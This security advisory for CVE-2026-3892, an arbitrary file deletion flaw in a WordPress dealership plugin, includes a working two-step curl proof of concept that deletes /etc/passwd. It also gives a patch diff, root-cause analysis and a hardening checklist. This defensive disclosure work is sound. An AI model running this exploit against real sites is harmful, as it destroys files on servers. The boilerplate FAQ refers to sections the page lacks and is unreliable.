SECURITY ADVISORY / 01

CVE-2026-3892 Exploit & Vulnerability Analysis

Complete CVE-2026-3892 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:motors-car-dealership-classified-listings NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Any authenticated WordPress user, including a subscriber, can delete arbitrary files on the server by sending the following HTTP request. The attacker sets the stm_user_avatar_path POST parameter to a path outside the uploads directory, then triggers deletion by visiting the become-dealer page.

#!/bin/bash
WORDPRESS_URL="http://target-wordpress.com"
COOKIE="wordpress_logged_in_<hash>=<value>"

## Step 1: Store a malicious path as the user avatar path
curl -s -X POST "$WORDPRESS_URL/wp-admin/admin-ajax.php" \
  -b "$COOKIE" \
  -d "action=stm_save_user_data" \
  -d "stm_user_avatar_path=/etc/passwd" \
  -d "stm_user_avatar=update" \
  -d "user_id=1"

## Step 2: Visit the become-dealer page to trigger delete
curl -s -b "$COOKIE" "$WORDPRESS_URL/become-dealer/"

When the avatar path is set to /etc/passwd, the server attempts to delete that file during the become-dealer profile update process. The attacker observes a 200 OK response and, if the web server user has write permission on the target file, the targeted file is removed from the filesystem.

What the Patch Did

Before (includes/user-extra.php, lines 398-430):

if ( isset( $_POST['stm_user_avatar_path'] ) ) {
    update_user_meta( $user_id, 'stm_user_avatar_path', sanitize_text_field( wp_unslash( $_POST['stm_user_avatar_path'] ) ) );
}
if ( isset( $_POST['stm_dealer_logo_path'] ) ) {
    update_user_meta( $user_id, 'stm_dealer_logo_path', sanitize_text_field( wp_unslash( $_POST['stm_dealer_logo_path'] ) ) );
}
if ( isset( $_POST['stm_dealer_image_path'] ) ) {
    update_user_meta( $user_id, 'stm_dealer_image_path', sanitize_text_field( wp_unslash( $_POST['stm_dealer_image_path'] ) ) );
}

After (includes/user-extra.php):

if ( isset( $_POST['stm_user_avatar_path'] ) ) {
    $raw_path = sanitize_text_field( wp_unslash( $_POST['stm_user_avatar_path'] ) );
    if ( apply_filters( 'stm_mvl_is_path_within_uploads', false, $raw_path ) ) {
        update_user_meta( $user_id, 'stm_user_avatar_path', $raw_path );
    }
}
if ( isset( $_POST['stm_dealer_logo_path'] ) ) {
    $raw_path = sanitize_text_field( wp_unslash( $_POST['stm_dealer_logo_path'] ) );
    if ( apply_filters( 'stm_mvl_is_path_within_uploads', false, $raw_path ) ) {
        update_user_meta( $user_id, 'stm_dealer_logo_path', $raw_path );
    }
}
if ( isset( $_POST['stm_dealer_image_path'] ) ) {
    $raw_path = sanitize_text_field( wp_unslash( $_POST['stm_dealer_image_path'] ) );
    if ( apply_filters( 'stm_mvl_is_path_within_uploads', false, $raw_path ) ) {
        update_user_meta( $user_id, 'stm_dealer_image_path', $raw_path );
    }
}

The patch adds a realpath()-based path confinement filter via the stm_mvl_is_path_within_uploads function. The filter resolves both the uploads directory and the user-supplied path to their canonical real filesystem paths, then checks that the user path begins with the uploads directory path. This prevents directory traversal outside wp-content/uploads/.

Root Cause

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'). The vulnerability chain: an attacker submits a POST request to admin-ajax.php with action stm_save_user_data and a POST parameter stm_user_avatar_path (or stm_dealer_logo_path or stm_dealer_image_path) set to an arbitrary path like /etc/passwd. The plugin stores this value verbatim in user meta using update_user_meta(). Later, when the user visits the become-dealer template (templates/user/private/become-dealer.php), the code calls unlink( $user_old_avatar ) using the stored path value without any validation that the path resides within the allowed uploads directory. The sanitize_text_field() call only strips tags and trims whitespace but does not prevent paths like /etc/passwd or ../../wp-config.php. The trust boundary is crossed twice: once when accepting the path from user input, and again when using the stored value in a filesystem operation.

Why It Works

The single load-bearing line is if ( empty( $users_db ) && apply_filters( 'stm_mvl_is_path_within_uploads', false, $user_old_avatar ) ) in become-dealer.php. Remove the call to apply_filters and the bug remains exploitable regardless of the validation added in user-extra.php. The engineer added validation at both the storage layer (user-extra.php) and the deletion layer (become-dealer.php) because the stored path could have been set by a previous version of the plugin or through direct database manipulation. The apply_filters call provides a safety net: even if a malicious path reaches the unlink() call, the filter function stm_mvl_is_path_within_uploads() resolves both paths with realpath() and performs a prefix check, preventing traversal outside the uploads directory. The other validation points in user-extra.php serve as defense-in-depth to prevent storage of invalid paths in the first place.

Hardening Checklist

  • Use realpath() to canonicalize both the allowed base directory and user-supplied path before performing a prefix match, as demonstrated in the patch's stm_mvl_is_path_within_uploads() function.
  • Before calling unlink(), always validate that the resolved path starts with the allowed upload directory using strpos() with DIRECTORY_SEPARATOR appended.
  • Never rely solely on input sanitization functions like sanitize_text_field() for file path validation — these remove HTML but do not prevent directory traversal.
  • Store file paths relative to a known base directory (e.g., store only the filename or subdirectory) and reconstruct the absolute path at the point of use.
  • Add a capability check (e.g., current_user_can('upload_files')) to the AJAX handler that processes path updates, even for subscriber-level actions.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-3892

Frequently asked questions about CVE-2026-3892

What is CVE-2026-3892?

CVE-2026-3892 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-3892?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-3892. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-3892 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-3892?

CVE-2026-3892 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-3892?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2026-3892?

The severity rating and CVSS scoring for CVE-2026-3892 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.